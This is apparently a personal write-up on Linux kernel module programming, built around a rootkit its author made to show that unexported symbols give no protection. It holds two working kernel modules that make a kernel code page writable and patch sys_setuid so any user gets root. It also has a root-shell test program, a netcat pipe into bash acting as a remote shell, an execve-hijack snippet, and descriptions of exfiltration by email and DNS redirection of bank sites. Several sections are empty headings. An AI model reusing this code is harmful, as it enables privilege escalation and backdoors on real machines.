Description (document)

advertisement
1. Introduction
About one or two months ago I interested in Linux kernel module programming. It was a
surprise to find out that new kernels do not export many kernel symbols any more. Exporting is
important for a module to be linked to get kernel services. For example "copy_from_user" to get
user space data is still available, but the system call table address is not. All kernel information is
divided to two classes. This restricts heavily the kernel module programming. Linux is supposed to
be "free"? Restriction has been done for security reasons. Annoying thing is that kernel developers
do not understand a most important technical principle.
Computer HW supports protection, in Intel/AMD -terminology uses “rings” 0 and 3. If some
code can execute privileged instructions (ring 0) it has all the power and it can do whatever, there is
no means to protect against it. Every kernel loadable module program runs on privilege 0. This
means that protection against it is impossible, no matter are symbols exported or not.
I can say that, but how to prove it? Well, this restriction has continued for a long time, if it
useful at all, then nowadays it is very hard to write a rootkit. I have never been working with
rootkits
but now I did one for demonstration purposes. It is written with c-language and needs few in-line
assembly instructions. It makes many funny things as crashes every text processing software, which
tries to
save a "ugly" word to disk- and gives a spoken comment to user. It can send whatever
system file to given email address if sendmail is configured, give super user rights if only
asked and so on. I can't keep it installed whole time even it is funny, because it changes my bank
connection (from any web browser) to the Bandidos MC web page (a funny feature). My module uses
technique which I call DNS ignoring (not well known DNS poisoning). I also later added a extremely
simple back door feature, which makes
possible to execute any set of predefined shell commands
and send the result to a given address or get a list of
commands from outside and execute it
after module installation- was not costly, no new coding because the “sendmail- feature” was
already implemented.
When this text is published the methods presented are old. If a technique is known, patches
easily prevent the usage of the technique in question. This is not a problem to me. My point is not
to get a dangerous rootkit but prove my point mentioned earlier. Rkhunter or Chkrootkit can't find
my rootkit now, but what about
tomorrow.
1.1
1.2 Linux system differences 32/64,AMD/Intel,kernel versions, libraries
1.3 Constants, temporary, permanent
A dictionary definition of the word constant: "Unchanging in nature, value, or extent;
invariable". Well, but what about the lifetime of a constant? How long constant lives or keeps it's
value.
When kernel is compiled, linked and located every symbol has a constant value. Some constants are
more permanent than others. When we recompile a kernel with new configuration file the address of
the system call table can change even we have the same source.
But what about for example the displacement values? Let's take an example: kernel system call
service routine "sys_setuid" is written with c- language. This c- code is not updated very often.
This means that if you have for example a 64 bit version a certain jump instruction in the code has
the same displacement from the code start from version to version. Even better, if/when c-code is
(very seldom) changed everybody can get the source and compile and link the kernel and see the
new displacements. This kind of constant is very permanent. I have used 4 of them: 0x4d is
displacement in sys_setuid, 0x75 is conditional jump and 0xeb is unconditional jump, 0x8b is a
displacement from system call entry.
Short life constants must be left to find out runtime. For example the system call entry
address can be found of a module specific register (MSR). See also 1.2.
1.4 Very simple introductory LKM examples
1.4.1 Module c-codes and short introduction
See first 1.2 and 1.3 to understand example modules. Both modules give super user shell
to everybody who ask to be super user, see 1.4.3. The first module is written using c without any
in-line assembly, but it is not very useful, because it has the "setuid" service routine address of the
kernel as a constant value (can be found) from
System.map. The second module finds the address
runtime. Both modules modify one byte of the kernel. The kernel makes tests have you rights to
get root access if you ask to. The module changes the conditional jump machine code to the
unconditional jump, meaning you pass the test always. If you are interested in details see Appendix
1. See also 1.4.5.
MODULE 1 (all needed code visibke)--- use return 0 if you can'ät believe comment
#include <linux/version.h>
#include <linux/module.h>
#include <linux/highmem.h>
#include <asm/unistd.h>
char *p;
int init_module(void) //0x0ffffffff8107f760 depends on system must be taken from the map
{ pte_t *pte1;
unsigned int dummy_but_needed;
p=(char *)(0x0ffffffff8107f760 +0x4d);
//0x0ffffffff8107f760: Got from /boot System.map.xx.xx.xx
pte1 = lookup_address((unsigned long long)p, &dummy_but_needed);
pte1->pte |= _PAGE_RW; //Now the code page is writable
*(p) = (char)0xeb;
//0xeb is the code of the unconditional jmp- we don't care are we allowed to get rights
return -1;
// Insmod complains and module disappears from the system but module did it's work already
}
MODULE_LICENSE("GPL");//We don't need cleanup_module
NEXT VERSION:
unsigned long long bit64,*bit64_ptr,sys_call_table;
unsigned long long setuid_addr_ptr;
unsigned long long sys_call_entry_ptr;
char
*p1;
int init_module(void)
{ pte_t *pte1;
unsigned int dummy;
//------------------------------------asm("mov $0xc0000082,%ecx;rdmsr;"); //MSR register for AMD- DIFFERENT
CONSTANT FOR INTEL (0x176?)
asm("mov %eax, sys_call_entry_ptr;");
sys_call_entry_ptr = (0xffffffff0000008b + (unsigned long long )sys_call_entry_ptr);
bit64
= *(unsigned long long *)sys_call_entry_ptr; //Got instr
p1
= (char *)&bit64 + 3;
p1=(char *)(*(unsigned long long *)((unsigned long long)(
*(unsigned int *)p1 | 0xffffffff00000000) + 8 * __NR_setuid)+0x4d);
//------------------------------------pte1
= lookup_address((unsigned long long)p1, &dummy);
pte1->pte
|= _PAGE_RW;
*(p1)
= (char)0xeb;
return -1;
}
void cleanup_module(void) { ;}
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Sika");
MODULE_VERSION("100.100");
MODULE_DESCRIPTION("funny");
--------------------------------------------------------------
1.4.2 Compiling and installing the example modules
To compile and test simple examples you must do:
(1) Edit a file with the name "Makefile":
-------------------------------------------------------------
obj-m += your_module_name.o
all:
make -C /lib/modules/`uname -r`/build M=`pwd` modules
-----------------------------------------------------------(2) Do the command "make"
(3) Do the command "insmod your_module_name.ko" as root
If you system don't support `uname -r` (I don't understand why), you can use
for example "/lib/modules/3.2.0-23-generic/build M=`pwd` modules"
1.4.3 Test programs and their usage
To use the example 2, you must have 64-bit system with AMD processor. Module specific
register (MSR) for Intel has different address.
-----------------------------------------------------------------
int main(int argc,char *argv[])
{
setuid(0);//Or use asm("mov $0,%rdi; mov $105,%rax; syscall;"); explained later
system("/bin/bash");
}
-----------------------------------------------------------------The short history of this test program: I was lately using older Ubuntu 12
and got root privileges with test program with “setuid(0)" when module was loaded. Then I
installed newest Ubuntu 12.04 with Kernel 3.2.0.23 and test program was not working until I
replaced
"setuid(0)" with the in-line assembly (the syscall number of setuid is 105). Conclusions: User space
system call library don't allow illegal requests? New feature? (Not sure about that)
Assembly line passes by the library. See 1.2 and 1.3.- differences in libraries?
1.4.4 What if the module don't work in my system
1.4.5 Conclusions
On the first sight the first c-language module looks nice, few lines of c. On second thought it is
fully useless. You must be root to get "sys_setuid" address from System.map but module only gives
to you root access!
The truth is that it not very useful. Still remains the possibility of the social engineering.
Somebody
can say to the root user: Please, show me how to find out symbol addresses, let's say
"sys_setuid".
What can follow:
-----------------------------
tk@sika:/boot$ sudo grep sys_setuid System.map-3.2.0-23-generic
[sudo] password for root:
T sys_setuid
ffffffff8107f760 T sys_setuid !!!!! known now
ffffffff810a2870 T sys_setuid16
tk@sika:/boot$
-----------------------------The module 2 finds out this address in the question runtime.
2. More versatile tool
2.1 Pseudo code of the advanced module
2.1 Basic methods
2.1.1 Modification of the system call arguments
2.1.2 Making more (own of the module) system calls
2.2 Functions
2.2.4 DNS ignoring and MITM
2.2.5 Sending e-mail from module
2.2.6 More functions
2.2.7 Very simple back door
[REMARKS: Next examples are experimental. Netcat is not always available. Also an firewall can
stop connections to most of ports. However, it is very easy replace commands used here with
other commands. For example take connection to an attacker machine port 80 or even use mailx
command to send files (if sendmail is configured)........... ]
An user level back door program is very simple to write using socket programming. It needs super
user rights and can be detected easily and firewall can prevent outside contacts to it easily.
I started to experiment with netcat and I used local host as a victim and an attacker:
Attacker:
-------------------------------------------------
$ nc -l 60001
/home/xxx
<------answer from victim
$ <------commands to victim
echo "touch FILE1; pwd; rm FILE2" | nc 127.0.0.1 60000
Victim
$ /bin/bash -c “nc -l 60000 |/bin/bash| nc 127.0.0.1 60001”
implemented (FIREWALL ?)
<------victim must have this
More secure is just to send information not to wait command, and to use the port 80, passes
possible firewall outgoing rules.
--------------------------------------------------So, if we can run a shell command from system call environment we can do a lot.
But why not? We can replace any system call with different call in this case the execve.
Problem is that the process dies, if we don't use fork, but we can use a respawning system program
(or even catch __NR_exit from user? No harm done then).
How to make the execve? A code snippet:
….......................
…........
RDI=(unsigned long long) u_ptr;
RSI=(unsigned long long)(u_ptr+DISPLACE);//Parameter area address constructed for all
the commands
RAX=__NR_execve;
RDX=0;
goto THE_END;
…........
THE_END: RAX =sys_call_table_addr + RAX * 8;
return RAX; //After return calling execve kernel function
….........................
2.2.8 Setup -module init
2.2.9 (Pieces of) the c-code and explanations
2.2.10 Conclusions, summary
***********************************************************************************
Appendix 1
------------------------------------------------
old = current_cred();
retval = -EPERM;
if (nsown_capable(CAP_SETUID)) { <---------------------HERE
new->suid = new->uid = uid;
if (uid != old->uid) {
retval = set_user(new);
if (retval < 0)
goto error;
-------------------------------------------------------ffffffff8107f851:
ffffffff8107f856:
ffffffff8107f85d:
ffffffff8107f85f:
ffffffff8107f866:
ffffffff8107f86b:
ffffffff8107f86d:
bf 07 00 00 00
mov $0x7,%edi
65 48 8b 04 25 00 c5 mov %gs:0xc500,%rax
00 00
4c 8b a0 50 04 00 00 mov 0x450(%rax),%r12
e8 b5 42 ff ff
callq 0xffffffff81073b20 <-nsown_cabable
84 c0
test %al,%al
-> 7531
jne 0xffffffff8107f8a0 <-----------we change 75
to eb
ffffffff8107f86f:
ffffffff8107f874:
45 39 6c 24 04
74 49
cmp
je
%r13d,0x4(%r12)
0xffffffff8107f8bf
ffffffff8107f876:
ffffffff8107f87a:
ffffffff8107f881:
44 39 6b 0c
49 c7 c6 ff ff ff ff
74 3c
cmp %r13d,0xc(%rbx)
mov $0xffffffffffffffff,%r14
je 0xffffffff8107f8bf
Appendix 2
Appendix 3
Appendix 4
Download